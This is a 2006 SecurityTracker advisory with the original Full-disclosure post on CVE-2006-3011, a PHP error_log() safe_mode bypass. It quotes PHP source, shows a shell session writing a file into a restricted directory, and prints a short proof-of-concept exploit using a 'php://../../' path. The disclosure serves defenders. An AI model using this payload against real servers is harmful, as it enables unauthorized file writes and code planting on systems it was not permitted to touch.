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Category:   Application (Generic)  >   PHP Vendors:   PHP Group
PHP error_log() Function Lets Users Bypass Safe Mode File Access Restrictions
SecurityTracker Alert ID:  1016377
SecurityTracker URL:  http://securitytracker.com/id/1016377
CVE Reference:   CVE-2006-3011   (Links to External Site)
Date:  Jun 26 2006
Impact:   Disclosure of system information, Disclosure of user information, Modification of user information
Exploit Included:  Yes  
Version(s): 4.4.2, 5.1.4
Description:   A vulnerability was reported in PHP in the error_log() function. A user can bypass safe mode restrictions.

A user can supply specially crafted data to the PHP error_log() function to access files on the target system.

If the specified filename does not exist, safe_mode will be disabled if a URL-type of prefix is used ('[prefix]://../../') instead of a pathname.

A user with the privileges to load arbitrary PHP code or with the ability to specify the parameters of an error_log() function call can exploit this vulnerability to read from or write to restricted files on the target system.

A demonstration exploit is provided:

<?php
$file=""; # FILENAME
error_log("<? echo \"cx\"; ?>", 3, "php://../../".$file);
?>

The vendor was notified on June 11, 2006.

Maksymilian Arciemowicz reported this vulnerability.

The original advisory is available at:

http://securityreason.com/achievement_securityalert/41

Impact:   A user can bypass safe_mode restrictions.
Solution:   No solution was available at the time of this entry.
Vendor URL:  www.php.net/ (Links to External Site)
Cause:   State error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.


 Source Message Contents

Subject:  [Full-disclosure] error_log() Safe Mode Bypass PHP 5.1.4 and 4.4.2

Source: http://securityreason.com/achievement_securityalert/41

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

[error_log() Safe Mode Bypass PHP 5.1.4 and 4.4.2]

Author: Maksymilian Arciemowicz (cXIb8O3)
Date:
- -Written: 10.6.2006
- -Public: 26.06.2006
from SECURITYREASON.COM
CVE-2006-3011

- --- 0.Description ---
PHP is an HTML-embedded scripting language. Much of its syntax is borrowed from C, Java and Perl with a couple of unique PHP-specific
 features thrown in. The goal of the language is to allow web developers to write dynamically generated pages quickly.

 much of the PHP Conference Material is freely available.
error_log -- Send an error message somewhere.

- --- 1. error_log() Safe Mode Bypass ---
error_log() function send to email, file or display your error message. You can send error messages per mail or write into files.
 Issue is very simple. error_log() check safe_mode and open_basedir in stream function. But isn't allowed use URL. And problem exists
 in incorrect filename.

PHP5:
- -2013-2050---
PHPAPI int _php_error_log(int opt_err, char *message, char *opt, char *headers TSRMLS_DC)
{
	php_stream *stream = NULL;

	switch (opt_err) {

		case 1:		/*send an email */
			{
#if HAVE_SENDMAIL
				if (!php_mail(opt, "PHP error_log message", message, headers, NULL TSRMLS_CC)) {
					return FAILURE;
				}
#else
				php_error_docref(NULL TSRMLS_CC, E_WARNING, "Mail option not available!");
				return FAILURE;
#endif
			}
			break;

		case 2:		/*send to an address */
			php_error_docref(NULL TSRMLS_CC, E_WARNING, "TCP/IP option not available!");
			return FAILURE;
			break;

		case 3:		/*save to a file */
			stream = php_stream_open_wrapper(opt, "a", IGNORE_URL | ENFORCE_SAFE_MODE | REPORT_ERRORS, NULL);
			if (!stream)
				return FAILURE;
			php_stream_write(stream, message, strlen(message));
			php_stream_close(stream);
			break;

		default:
			php_log_err(message TSRMLS_CC);
			break;
	}
	return SUCCESS;
}
- -2013-2050---

Let's see to option 3.

- -2038 line---
stream = php_stream_open_wrapper(opt, "a", IGNORE_URL | ENFORCE_SAFE_MODE | REPORT_ERRORS, NULL);
- -2038 line---

Option "a", writte to file error or if file dosen't exists, create new file. 
Problem is because in php_stream_open_wrapper(), is defined "IGNORE_URL".
IGNORE_URL turn off safe_mode if you use "prefix://../../".

- -Example---
cxib# php -r 'error_log("<? echo \"cx\"; ?>", 3, "/www/temp/sr.php");'

Warning: error_log(): SAFE MODE Restriction in effect.  The script whose uid is 0 is not allowed to access /www/temp owned by uid
 80 in Command line code on line 1

Warning: error_log(/www/temp/sr.php): failed to open stream: Invalid argument in Command line code on line 1
cxib# php -r 'error_log("<? echo \"cx\"; ?>", 3, "php://../../www/temp/sr.php");'
cxib# ls -la /www/temp/sr.php
- -rw-r--r--  1 cxib  www  16 Jun 11 17:47 /www/temp/sr.php
cxib# 
- -Example---

- --- 2. Exploit ---
<?php
$file=""; # FILENAME
error_log("<? echo \"cx\"; ?>", 3, "php://../../".$file);
?>


- --- 3. How to fix ---
No response from PHP Team. We have reported this bug in 11.06.2006

- --- 4. Greets ---

For: sp3x
and
p_e_a, l3x, pi3, eax, Infospec, gKPc8O3

- --- 5. Contact ---
Author: SecurityReason.Com [ Maksymilian Arciemowicz ( cXIb8O3 ) ]
Email: max [at] jestsuper [dot] pl or cxib [at] securityreason [dot] com
GPG: http://securityreason.com/key/Arciemowicz.Maksymilian.gpg
SecurityReason.Com
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